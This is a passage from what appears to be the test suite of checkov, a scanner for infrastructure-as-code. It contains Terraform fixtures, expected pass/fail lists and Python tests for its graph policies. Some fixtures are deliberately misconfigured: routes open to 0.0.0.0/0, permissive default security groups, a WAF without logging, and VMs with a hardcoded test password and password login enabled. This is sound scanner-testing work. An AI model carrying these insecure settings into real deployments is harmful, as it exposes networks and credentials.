    "content": "resource \"aws_flow_log\" \"example\" {\n  iam_role_arn    = \"arn\"\n  log_destination      = \"arn:aws:s3:::test-bucket\"\n  log_destination_type = \"s3\"\n  traffic_type         = \"ALL\"\n  vpc_id               = aws_vpc.ok_vpc.id\n}\n\nresource \"aws_flow_log\" \"example1\" {\n  iam_role_arn    = \"arn\"\n  log_destination = \"log\"\n  traffic_type    = \"ALL\"\n  log_destination_type = \"s3\"\n  vpc_id          = aws_vpc.ok_vpc.id\n}\n\nresource \"aws_flow_log\" \"example2\" {\n  iam_role_arn    = \"arn\"\n  log_destination = \"log\"\n  traffic_type    = \"ALL\"\n  log_destination_type = \"s3\"\n  vpc_id          = aws_vpc.not_ok_vpc2.id\n}\n\nresource \"aws_flow_log\" \"example3\" {\n  iam_role_arn    = \"arn\"\n  log_destination      = \"arn:aws:s3:::test-bucket\"\n  log_destination_type = \"s3\"\n  traffic_type         = \"ALL\"\n  vpc_id               = aws_vpc.ok_vpc1.id\n}\n\nresource \"aws_flow_log\" \"example4\" {\n  iam_role_arn    = \"arn\"\n  log_destination      = \"arn:aws:s3:::test-bucket\"\n  log_destination_type = \"log\"\n  traffic_type         = \"ALL\"\n  vpc_id               = aws_vpc.ok_vpc1.id\n}\n\nresource \"aws_flow_log\" \"example5\" {\n  iam_role_arn    = \"arn\"\n  log_destination      = \"name\"\n  log_destination_type = \"log\"\n  traffic_type         = \"ALL\"\n  vpc_id               = aws_vpc.ok_vpc1.id\n}\n\nresource \"aws_flow_log\" \"example6\" {\n  iam_role_arn    = \"arn\"\n  log_destination      = \"name1\"\n  log_destination_type = \"s3\"\n  traffic_type         = \"ALL\"\n  vpc_id               = aws_vpc.ok_vpc1.id\n}\n\nresource \"aws_vpc\" \"not_ok_vpc\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_vpc\" \"ok_vpc\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_vpc\" \"not_ok_vpc2\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_vpc\" \"ok_vpc1\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VPCHasRestrictedSG/expected.yaml",
    "content": "pass:\n  - \"aws_vpc.ok_vpc\"\nfail:\n  - \"aws_vpc.not_ok_vpc\"\n  - \"aws_vpc.not_ok_vpc_2\"\n  - \"aws_vpc.not_ok_vpc_3\"\n  - \"aws_vpc.not_ok_vpc_4\"\n  - \"aws_vpc.not_ok_vpc_5\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VPCHasRestrictedSG/main.tf",
    "content": "resource \"aws_vpc\" \"not_ok_vpc\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_vpc\" \"not_ok_vpc_2\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_vpc\" \"not_ok_vpc_3\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_vpc\" \"ok_vpc\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_default_security_group\" \"default\" {\n  vpc_id = aws_vpc.ok_vpc.id\n}\n\nresource \"aws_default_security_group\" \"default_2\" {\n  vpc_id = aws_vpc.not_ok_vpc_2.id\n\n  ingress {\n    protocol  = \"-1\"\n    self      = true\n    from_port = 0\n    to_port   = 0\n  }\n\n  egress {\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_default_security_group\" \"default_3\" {\n  vpc_id = aws_vpc.not_ok_vpc_3.id\n}\n\nresource \"aws_security_group_rule\" \"default_sg_rule\" {\n  from_port         = 0\n  protocol          = \"-1\"\n  to_port           = 0\n  type              = \"-1\"\n  security_group_id = aws_default_security_group.default_3.id\n}\n\nresource \"aws_vpc_security_group_ingress_rule\" \"pike\" {\n  security_group_id = aws_default_security_group.default_4.id\n\n  cidr_ipv4   = \"10.0.0.0/8\"\n  from_port   = 80\n  ip_protocol = \"tcp\"\n  to_port     = 8080\n}\n\n\nresource \"aws_vpc_security_group_egress_rule\" \"pike\" {\n  security_group_id = aws_default_security_group.default_5.id\n\n  cidr_ipv4   = \"10.0.0.0/8\"\n  from_port   = 80\n  ip_protocol = \"tcp\"\n  to_port     = 8080\n}\n\nresource \"aws_vpc\" \"not_ok_vpc_4\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_vpc\" \"not_ok_vpc_5\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_default_security_group\" \"default_4\" {\n  vpc_id = aws_vpc.not_ok_vpc_4.id\n}\n\nresource \"aws_default_security_group\" \"default_5\" {\n  vpc_id = aws_vpc.not_ok_vpc_5.id\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VPCPeeringRouteTableOverlyPermissive/expected.yaml",
    "content": "pass:\n  - \"aws_route.aws_route_pass_1\"\n  - \"aws_route.aws_route_pass_2\"\n  - \"aws_route.aws_route_pass_3\"\n  - \"aws_route.aws_route_pass_4\"\n  - \"aws_route.aws_route_pass_5\"\n  - \"aws_route_table.aws_route_table_pass_1\"\n  - \"aws_route_table.aws_route_table_pass_2\"\n  - \"aws_route_table.aws_route_table_pass_3\"\nfail:\n  - \"aws_route.aws_route_fail_1\"\n  - \"aws_route.aws_route_fail_2\"\n  - \"aws_route_table.aws_route_table_fail_1\"\n  - \"aws_route_table.aws_route_table_fail_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VPCPeeringRouteTableOverlyPermissive/main.tf",
    "content": "resource \"aws_route\" \"aws_route_pass_1\" {\n  route_table_id            = \"rtb-4fbb3ac4\"\n  destination_cidr_block    = \"10.0.1.0/22\"\n  vpc_peering_connection_id = \"pcx-45ff3dc1\"\n}\n\nresource \"aws_route\" \"aws_route_pass_2\" {\n  route_table_id            = \"rtb-4fbb3ac4\"\n  destination_ipv6_cidr_block = \"2002::1234:abcd:ffff:c0a8:101/64\"\n  vpc_peering_connection_id = \"pcx-45ff3dc1\"\n}\n\nresource \"aws_route\" \"aws_route_pass_3\" {\n  route_table_id            = \"rtb-4fbb3ac4\"\n  destination_ipv6_cidr_block = \"2002::1234:abcd:ffff:c0a8:101/64\"\n  instance_id = aws_instance.example.id\n}\n\nresource \"aws_route\" \"aws_route_fail_1\" {\n  route_table_id            = \"rtb-4fbb3ac4\"\n  destination_cidr_block    = \"0.0.0.0/0\"\n  vpc_peering_connection_id = \"pcx-45ff3dc1\"\n}\n\nresource \"aws_route\" \"aws_route_fail_2\" {\n  route_table_id            = \"rtb-4fbb3ac4\"\n  destination_ipv6_cidr_block = \"::/0\"\n  vpc_peering_connection_id = \"pcx-45ff3dc1\"\n}\n\nresource \"aws_route_table\" \"aws_route_table_pass_1\" {\n  vpc_id = aws_vpc.example.id\n\n  route {\n    ipv6_cidr_block = \"::/0\"\n    gateway_id = aws_internet_gateway.example.id\n    instance_id = aws_instance.example.id\n  }\n}\n\nresource \"aws_route_table\" \"aws_route_table_pass_2\" {\n  vpc_id = aws_vpc.example.id\n\n  route {\n    ipv6_cidr_block = \"2002::1234:abcd:ffff:c0a8:101/64\"\n    vpc_peering_connection_id = \"pcx-45ff3dc1\"\n  }\n}\n\nresource \"aws_route_table\" \"aws_route_table_pass_3\" {\n  vpc_id = aws_vpc.example.id\n\n  route {\n    cidr_block = \"10.0.1.0/22\"\n    vpc_peering_connection_id = \"pcx-45ff3dc1\"\n  }\n}\n\nresource \"aws_route_table\" \"aws_route_table_fail_1\" {\n  vpc_id = aws_vpc.example.id\n\n  route {\n    cidr_block = \"0.0.0.0/0\"\n    vpc_peering_connection_id = \"pcx-45ff3dc1\"\n  }\n}\n\nresource \"aws_route_table\" \"aws_route_table_fail_2\" {\n  vpc_id = aws_vpc.example.id\n\n  route {\n    ipv6_cidr_block = \"::/0\"\n    vpc_peering_connection_id = \"pcx-45ff3dc1\"\n  }\n}\n\nresource \"aws_route\" \"aws_route_pass_4\" {\n  route_table_id            = aws_route_table.rtb1.id\n  destination_cidr_block    = \"10.1.0.0/16\"\n  vpc_peering_connection_id = \"pcx-578451154151544\"\n}\n\nresource \"aws_route\" \"aws_route_pass_5\" {\n  route_table_id            = aws_route_table.rtb2.id\n  destination_cidr_block    = \"10.0.0.0/16\"\n  vpc_peering_connection_id = \"pcx-578451154151544\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VirtualMachinesUtilizingManagedDisks/expected.yaml",
    "content": "pass:\n  - \"azurerm_virtual_machine.virtual_machine_good\"\nfail:\n  - \"azurerm_virtual_machine.virtual_machine_bad\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VirtualMachinesUtilizingManagedDisks/main.tf",
    "content": "resource \"azurerm_virtual_machine\" \"virtual_machine_good\" {\n  name                  = \"my-vm\"\n  location              = \"location\"\n  resource_group_name   = \"group_name\"\n  network_interface_ids = [\"1234567\"]\n  vm_size               = \"Standard_DS1_v2\"\n\n  storage_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  storage_os_disk {\n    name              = \"myosdisk1\"\n    caching           = \"ReadWrite\"\n    create_option     = \"FromImage\"\n    managed_disk_type = \"Standard_LRS\"\n  }\n  os_profile {\n    computer_name  = \"hostname\"\n    admin_username = \"testadmin\"\n    admin_password = \"Password1234!\"  # checkov:skip=CKV_SECRET_80 test secret\n  }\n  os_profile_linux_config {\n    disable_password_authentication = false\n  }\n  tags = {\n    environment = \"staging\"\n  }\n}\n\nresource \"azurerm_virtual_machine\" \"virtual_machine_bad\" {\n  name                  = \"my-vm\"\n  location              = \"location\"\n  resource_group_name   = \"group_name\"\n  network_interface_ids = [\"1234567\"]\n  vm_size               = \"Standard_DS1_v2\"\n\n  storage_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  storage_os_disk {\n    name              = \"myosdisk1\"\n    caching           = \"ReadWrite\"\n    create_option     = \"FromImage\"\n    vhd_uri           = \"uri://foo\"\n  }\n  os_profile {\n    computer_name  = \"hostname\"\n    admin_username = \"testadmin\"\n    admin_password = \"Password1234!\"\n  }\n  os_profile_linux_config {\n    disable_password_authentication = false\n  }\n  tags = {\n    environment = \"staging\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/WAF2HasLogs/expected.yaml",
    "content": "pass:\n  - \"aws_wafv2_web_acl.pass\"\nfail:\n  - \"aws_wafv2_web_acl.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/WAF2HasLogs/main.tf",
    "content": "resource \"aws_wafv2_web_acl_logging_configuration\" \"pass\" {\n  log_destination_configs = [aws_kinesis_firehose_delivery_stream.example.arn]\n  resource_arn            = aws_wafv2_web_acl.pass.arn\n  redacted_fields {\n    single_header {\n      name = \"user-agent\"\n    }\n  }\n}\n\nresource \"aws_wafv2_web_acl\" \"pass\" {\n  name        = \"managed-rule-example-pass\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"rule-1\"\n    priority = 1\n\n    override_action {\n      count {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesCommonRuleSet\"\n        vendor_name = \"AWS\"\n\n        excluded_rule {\n          name = \"SizeRestrictions_QUERYSTRING\"\n        }\n\n        excluded_rule {\n          name = \"NoUserAgent_HEADER\"\n        }\n\n        scope_down_statement {\n          geo_match_statement {\n            country_codes = [\"US\", \"NL\"]\n          }\n        }\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\n\nresource \"aws_wafv2_web_acl\" \"fail\" {\n  name        = \"managed-rule-example-fail\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"rule-1\"\n    priority = 1\n\n    override_action {\n      count {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesCommonRuleSet\"\n        vendor_name = \"AWS\"\n\n        excluded_rule {\n          name = \"SizeRestrictions_QUERYSTRING\"\n        }\n\n        excluded_rule {\n          name = \"NoUserAgent_HEADER\"\n        }\n\n        scope_down_statement {\n          geo_match_statement {\n            country_codes = [\"US\", \"NL\"]\n          }\n        }\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/connected_nodes/main.tf",
    "content": "resource \"aws_s3_bucket\" \"example\" {\n  # bucket is not encrypted\n  bucket = \"untugged\"\n}\n\nresource \"aws_s3_bucket_replication_configuration\" \"replication\" {\n  depends_on = [aws_s3_bucket_versioning.bad_bucket]\n  role   = aws_iam_role.bad_bucket_replication.arn\n  bucket = aws_s3_bucket.example.id\n  rule {\n    id     = \"foobar\"\n    status = \"Disabled\"\n    destination {\n      bucket        = aws_s3_bucket.bad_bucket_destination.arn\n      storage_class = \"STANDARD\"\n    }\n  }\n}\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"bad_sse\" {\n  bucket = aws_s3_bucket.example.id\n\n  rule {\n    apply_server_side_encryption_by_default {\n      kms_master_key_id = aws_kms_key.mykey.arn\n      sse_algorithm     = \"aws:kms\"\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/test_custom_yaml_policies.py",
    "content": "from __future__ import annotations\n\nimport os\nimport unittest\nimport warnings\nfrom pathlib import Path\n\nfrom checkov.common.checks_infra.checks_parser import GraphCheckParser\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.checks_infra.registry import Registry\nfrom .test_yaml_policies import load_yaml_data, get_policy_results\n\n\nclass TestCustomYamlPolicies(unittest.TestCase):\n    def setUp(self) -> None:\n        os.environ['UNIQUE_TAG'] = ''\n        warnings.filterwarnings(\"ignore\", category=ResourceWarning)\n        warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n    def test_CustomPolicy1(self):\n        self.go(\"CustomPolicy1\")\n\n    def test_CustomPolicy2(self):\n        # tests resource_types value to be a string\n        self.go(\"CustomPolicy2\")\n\n    def test_CustomAwsEMRSecurityConfiguration(self):\n        self.go('CustomAwsEMRSecurityConfiguration')\n\n    def go(self, dir_name: str, check_name: str | None = None) -> None:\n        dir_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), f\"resources/{dir_name}\")\n        check_name = dir_name if check_name is None else check_name\n        assert os.path.exists(dir_path)\n        policy_dir_path = str(Path(__file__).parent / \"custom_policies\")\n        assert os.path.exists(policy_dir_path)\n        found = False\n        for root, d_names, f_names in os.walk(policy_dir_path):\n            for f_name in f_names:\n                if f_name == f\"{check_name}.yaml\":\n                    found = True\n                    policy = load_yaml_data(f_name, root)\n                    assert policy is not None\n                    expected = load_yaml_data(\"expected.yaml\", dir_path)\n                    assert expected is not None\n                    registry = Registry(policy_dir_path, GraphCheckParser())\n                    report = get_policy_results(dir_path, [policy['metadata']['id']], [registry])\n                    expected = load_yaml_data(\"expected.yaml\", dir_path)\n\n                    expected_to_fail = expected.get('fail', [])\n                    expected_to_pass = expected.get('pass', [])\n                    expected_to_skip = expected.get('skip', [])\n\n                    self.assert_entities(expected_to_pass, report.passed_checks, True)\n                    self.assert_entities(expected_to_fail, report.failed_checks, False)\n                    self.assert_entities(expected_to_skip, report.skipped_checks, True)\n\n        assert found\n\n    def assert_entities(self, expected_entities: list[str], results: list[CheckResult], assertion: bool) -> None:\n        self.assertEqual(len(expected_entities), len(results),\n                         f\"mismatch in number of results in {'passed' if assertion else 'failed'}, \"\n                         f\"expected: {len(expected_entities)}, got: {len(results)}\")\n        for expected_entity in expected_entities:\n            found = False\n            for check_result in results:\n                entity_id = check_result.resource\n                if entity_id == expected_entity:\n                    found = True\n                    break\n            self.assertTrue(found, f\"expected to find entity {expected_entity}, {'passed' if assertion else 'failed'}\")\n"
  },
  {
    "path": "tests/terraform/graph/checks/test_yaml_connected_nodes.py",
    "content": "import os\nimport unittest\nimport warnings\nfrom unittest import mock\n\nimport pytest\n\nfrom checkov.terraform import checks\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS\nfrom .test_yaml_policies import load_yaml_data, get_policy_results\n\n\nclass TestYamlConnectedNodes(unittest.TestCase):\n    def setUp(self) -> None:\n        warnings.filterwarnings(\"ignore\", category=ResourceWarning)\n        warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n    def test_S3BucketEncryption_connected_node(self):\n        report = get_report(\"S3BucketEncryption\")\n\n        # Sort checks by resource name to ensure deterministic ordering\n        failed = sorted(report.failed_checks, key=lambda c: c.resource)\n        passed = sorted(report.passed_checks, key=lambda c: c.resource)\n\n        # Failed checks: 2 without connected_node, 3 with connected_node\n        failed_without_node = [c for c in failed if c.connected_node is None]\n        failed_with_node = sorted(\n            [c for c in failed if c.connected_node is not None],\n            key=lambda c: c.connected_node['resource']\n        )\n        assert len(failed_without_node) == 2\n        assert len(failed_with_node) == 3\n\n        assert failed_with_node[0].connected_node['file_path'] == '/main.tf'\n        assert failed_with_node[0].connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.bad_sse_1'\n        assert failed_with_node[0].connected_node['file_line_range'] == [163, 172]\n        assert failed_with_node[1].connected_node['file_path'] == '/main.tf'\n        assert failed_with_node[1].connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.bad_sse_2'\n        assert failed_with_node[1].connected_node['file_line_range'] == [174, 182]\n        assert failed_with_node[2].connected_node['file_path'] == '/main.tf'\n        assert failed_with_node[2].connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.bad_sse_3'\n        assert failed_with_node[2].connected_node['file_line_range'] == [184, 195]\n\n        # Passed checks: 3 without connected_node, 3 with connected_node\n        passed_without_node = [c for c in passed if c.connected_node is None]\n        passed_with_node = sorted(\n            [c for c in passed if c.connected_node is not None],\n            key=lambda c: c.connected_node['resource']\n        )\n        assert len(passed_without_node) == 3\n        assert len(passed_with_node) == 3\n\n        assert passed_with_node[0].connected_node['file_path'] == '/main.tf'\n        assert passed_with_node[0].connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.good_sse_1'\n        assert passed_with_node[0].connected_node['file_line_range'] == [117, 126]\n        assert passed_with_node[1].connected_node['file_path'] == '/main.tf'\n        assert passed_with_node[1].connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.good_sse_2'\n        assert passed_with_node[1].connected_node['file_line_range'] == [128, 137]\n        assert passed_with_node[2].connected_node['file_path'] == '/main.tf'\n        assert passed_with_node[2].connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.good_sse_3'\n        assert passed_with_node[2].connected_node['file_line_range'] == [139, 150]\n\n    def test_S3BucketLogging_connected_node(self):\n        report = get_report(\"S3BucketLogging\")\n        assert report.failed_checks[0].connected_node is None\n\n        assert report.passed_checks[0].connected_node is None\n        assert report.passed_checks[1].connected_node['file_path'] == '/main.tf'\n        assert report.passed_checks[1].connected_node['resource'] == 'aws_s3_bucket_logging.example'\n        assert report.passed_checks[1].connected_node['file_line_range'] == [14, 19]\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_correct_connected_node_per_check(graph_framework):\n    failed_check_id_with_connected_node = 'CKV_AWS_144'\n    pass_check_id_with_connected_node = 'CKV_AWS_145'\n    pass_check_id_without_connected_node = 'CKV_AWS_20'\n    check_ids = [failed_check_id_with_connected_node, pass_check_id_with_connected_node, pass_check_id_without_connected_node]\n\n    report = get_report(\"connected_nodes\", checks_ids=check_ids, graph_framework=graph_framework)\n    assert len(report.passed_checks) == 2\n    assert len(report.failed_checks) == 1\n\n    assert report.failed_checks[0].connected_node['resource'] == 'aws_s3_bucket_replication_configuration.replication'\n    assert report.failed_checks[0].connected_node['file_path'] == '/main.tf'\n    assert report.failed_checks[0].connected_node['file_line_range'] == [6, 18]\n\n    passed_with_connection = next((c for c in report.passed_checks if c.check_id == pass_check_id_with_connected_node), None)\n    passed_without_connection = next((c for c in report.passed_checks if c.check_id == pass_check_id_without_connected_node), None)\n\n    assert passed_with_connection.connected_node is not None\n    assert passed_without_connection.connected_node is None\n\n    assert passed_with_connection.connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.bad_sse'\n    assert passed_with_connection.connected_node['file_path'] == '/main.tf'\n    assert passed_with_connection.connected_node['file_line_range'] == [20, 29]\n\n\ndef get_report(dir_name, graph_framework='NETWORKX', checks_ids=None):\n    dir_path = os.path.join(os.path.dirname(os.path.realpath(__file__)),\n                            f\"resources/{dir_name}\")\n    assert os.path.exists(dir_path)\n    policy_dir_path = os.path.dirname(checks.__file__)\n    assert os.path.exists(policy_dir_path)\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        if checks_ids:\n                return get_policy_results(dir_path, check_ids=checks_ids)\n        for root, _, f_names in os.walk(policy_dir_path):\n            for f_name in f_names:\n                if f_name != f\"{dir_name}.yaml\":\n                    continue\n                policy = load_yaml_data(f_name, root)\n                assert policy is not None\n                return get_policy_results(dir_path, check_ids=[policy['metadata']['id']])\n"
  },
  {
    "path": "tests/terraform/graph/checks/test_yaml_policies.py",
    "content": "from __future__ import annotations\n\nimport json\nimport os\nimport unittest\nimport warnings\nfrom pathlib import Path\nfrom typing import Any\n\nimport yaml\n\nfrom checkov.common.checks_infra.checks_parser import GraphCheckParser\nfrom checkov.common.checks_infra.registry import Registry\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform import checks\nfrom checkov.terraform.runner import Runner\n\n\nclass TestYamlPolicies(unittest.TestCase):\n    def setUp(self) -> None:\n        warnings.filterwarnings(\"ignore\", category=ResourceWarning)\n        warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n    def test_DatabricksWorkspaceDBFSRootCustomerManagedKey(self):\n        self.go(\"DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey\")\n\n    def test_KmsKeyPolicyIsDefined(self):\n        self.go(\"KmsKeyPolicyIsDefined\")\n\n    def test_NetworkFirewallHasLogging(self):\n        self.go(\"NetworkFirewallHasLogging\")\n\n    def test_SecretsAreRotated(self):\n        self.go(\"SecretsAreRotated\")\n\n    def test_S3BucketLifecycle(self):\n        self.go(\"S3BucketLifecycle\")\n\n    def test_AccessControlGroupRuleDefine(self):\n        self.go(\"AccessControlGroupRuleDefine\")\n\n    def test_S3BucketEventNotifications(self):\n        self.go(\"S3BucketEventNotifications\")\n\n    def test_ADORepositoryHasMinTwoReviewers(self):\n        self.go(\"ADORepositoryHasMinTwoReviewers\")\n\n    def test_VPCPeeringRouteTableOverlyPermissive(self):\n        self.go(\"VPCPeeringRouteTableOverlyPermissive\")\n\n    def test_S3NotAllowAccessToAllAuthenticatedUsers(self):\n        self.go(\"S3NotAllowAccessToAllAuthenticatedUsers\")\n\n    def test_CloudFrontHasCustomSSLCertificate(self):\n        self.go(\"CloudFrontHasCustomSSLCertificate\")\n\n    def test_CodecommitApprovalRulesAttached(self):\n        self.go(\"CodecommitApprovalRulesAttached\")\n\n    def test_RepositoryHasBranchProtection(self):\n        self.go(\"RepositoryHasBranchProtection\")\n\n    def test_VPCHasFlowLog(self):\n        self.go(\"VPCHasFlowLog\")\n\n    def test_APIGatewayEndpointsUsesCertificateForAuthentication(self):\n        self.go(\"APIGatewayEndpointsUsesCertificateForAuthentication\")\n\n    def test_APIGatewayRequestParameterValidationEnabled(self):\n        self.go(\"APIGatewayRequestParameterValidationEnabled\")\n\n    def test_CloudFrontUsesSecureProtocolsForHTTPS(self):\n        self.go(\"CloudFrontUsesSecureProtocolsForHTTPS\")\n\n    def test_EMRClusterHasSecurityConfiguration(self):\n        self.go(\"EMRClusterHasSecurityConfiguration\")\n\n    def test_OpenSearchDomainHasFineGrainedControl(self):\n        self.go(\"OpenSearchDomainHasFineGrainedControl\")\n\n    def test_VPCHasRestrictedSG(self):\n        self.go(\"VPCHasRestrictedSG\")\n\n    def test_APIGWLoggingLevelsDefinedProperly(self):\n        self.go(\"APIGWLoggingLevelsDefinedProperly\")\n\n    def test_GuardDutyIsEnabled(self):\n        self.go(\"GuardDutyIsEnabled\")\n\n    def test_SGAttachedToResource(self):\n        self.go(\"SGAttachedToResource\")\n\n    def test_EC2InstanceHasIAMRoleAttached(self):\n        self.go(\"EC2InstanceHasIAMRoleAttached\")\n\n    def test_StorageContainerActivityLogsNotPublic(self):\n        self.go(\"StorageContainerActivityLogsNotPublic\")\n\n    def test_StorageCriticalDataEncryptedCMK(self):\n        self.go(\"StorageCriticalDataEncryptedCMK\")\n\n    def test_VAconfiguredToSendReports(self):\n        self.go(\"VAconfiguredToSendReports\")\n\n    def test_AWSConfigRecorderEnabled(self):\n        self.go(\"AWSConfigRecorderEnabled\")\n\n    def test_CLoudFrontS3OriginConfigWithOAI(self):\n        self.go(\"CLoudFrontS3OriginConfigWithOAI\")\n\n    def test_CloudFrontWebACLConfiguredWIthLog4jVulnerability(self):\n        self.go(\"CloudFrontWebACLConfiguredWIthLog4jVulnerability\")\n\n    def test_ConfigRecorderRecordsAllGlobalResources(self):\n        self.go(\"ConfigRecorderRecordsAllGlobalResources\")\n\n    def test_DMSEndpointHaveSSLConfigured(self):\n        self.go(\"DMSEndpointHaveSSLConfigured\")\n\n    def test_ElastiCacheRedisConfiguredAutomaticFailOver(self):\n        self.go(\"ElastiCacheRedisConfiguredAutomaticFailOver\")\n\n    def test_VAconfiguredToSendReportsToAdmins(self):\n        self.go(\"VAconfiguredToSendReportsToAdmins\")\n\n    def test_VAisEnabledInStorageAccount(self):\n        self.go(\"VAisEnabledInStorageAccount\")\n\n    def test_VAsetPeriodicScansOnSQL(self):\n        self.go(\"VAsetPeriodicScansOnSQL\")\n\n    def test_CloudFrontHasResponseHeadersPolicy(self):\n        self.go(\"CloudFrontHasResponseHeadersPolicy\")\n\n    def test_CloudtrailHasCloudwatch(self):\n        self.go(\"CloudtrailHasCloudwatch\")\n\n    def test_S3BucketHasPublicAccessBlock(self):\n        self.go(\"S3BucketHasPublicAccessBlock\")\n\n    def test_AccessToPostgreSQLFromAzureServicesIsDisabled(self):\n        self.go(\"AccessToPostgreSQLFromAzureServicesIsDisabled\")\n\n    def test_AzureActiveDirectoryAdminIsConfigured(self):\n        self.go(\"AzureActiveDirectoryAdminIsConfigured\")\n\n    def test_DisableAccessToSqlDBInstanceForRootUsersWithoutPassword(self):\n        self.go(\"DisableAccessToSqlDBInstanceForRootUsersWithoutPassword\")\n\n    def test_GCPProjectHasNoLegacyNetworks(self):\n        self.go(\"GCPProjectHasNoLegacyNetworks\")\n\n    def test_GCPDocumentAIProcessorEncryptedWithCMK(self):\n        self.go(\"GCPDocumentAIProcessorEncryptedWithCMK\")\n\n    def test_GCPDocumentAIWarehouseLocationEncryptedWithCMK(self):\n        self.go(\"GCPDocumentAIWarehouseLocationEncryptedWithCMK\")\n\n    def test_GCPVertexInstanceEncryptedWithCMK(self):\n        self.go(\"GCPVertexInstanceEncryptedWithCMK\")\n\n    def test_GCPVertexAIEndpointEncryptedWithCMK(self):\n        self.go(\"GCPVertexAIEndpointEncryptedWithCMK\")\n\n    def test_GCPVertexAIFeaturestoreEncryptedWithCMK(self):\n        self.go(\"GCPVertexAIFeaturestoreEncryptedWithCMK\")\n\n    def test_GCPVertexAITensorboardEncryptedWithCMK(self):\n        self.go(\"GCPVertexAITensorboardEncryptedWithCMK\")\n\n    def test_GCPVertexWorkbenchInstanceEncryptedWithCMK(self):\n        self.go(\"GCPVertexWorkbenchInstanceEncryptedWithCMK\")\n\n    def test_GCPVertexWorkbenchInstanceNoPublicIp(self):\n        self.go(\"GCPVertexWorkbenchInstanceNoPublicIp\")\n\n    def test_GCRContainerVulnerabilityScanningEnabled(self):\n        self.go(\"GCRContainerVulnerabilityScanningEnabled\")\n\n    def test_AzureDataFactoriesEncryptedWithCustomerManagedKey(self):\n        self.go(\"AzureDataFactoriesEncryptedWithCustomerManagedKey\")\n\n    def test_AzureUnattachedDisksAreEncrypted(self):\n        self.go(\"AzureUnattachedDisksAreEncrypted\")\n\n    def test_AzureNetworkInterfacePublicIPAddressId(self):\n        self.go(\"AzureNetworkInterfacePublicIPAddressId\")\n\n    def test_AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs(self):\n        self.go(\"AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs\")\n\n    def test_ALBRedirectsHTTPToHTTPS(self):\n        self.go(\"ALBRedirectsHTTPToHTTPS\")\n\n    def test_GCPLogBucketsConfiguredUsingLock(self):\n        self.go(\"GCPLogBucketsConfiguredUsingLock\")\n\n    def test_CloudFunctionSecureHTTPTrigger(self):\n        self.go(\"CloudFunctionSecureHTTPTrigger\")\n\n    def test_GCPAuditLogsConfiguredForAllServicesAndUsers(self):\n        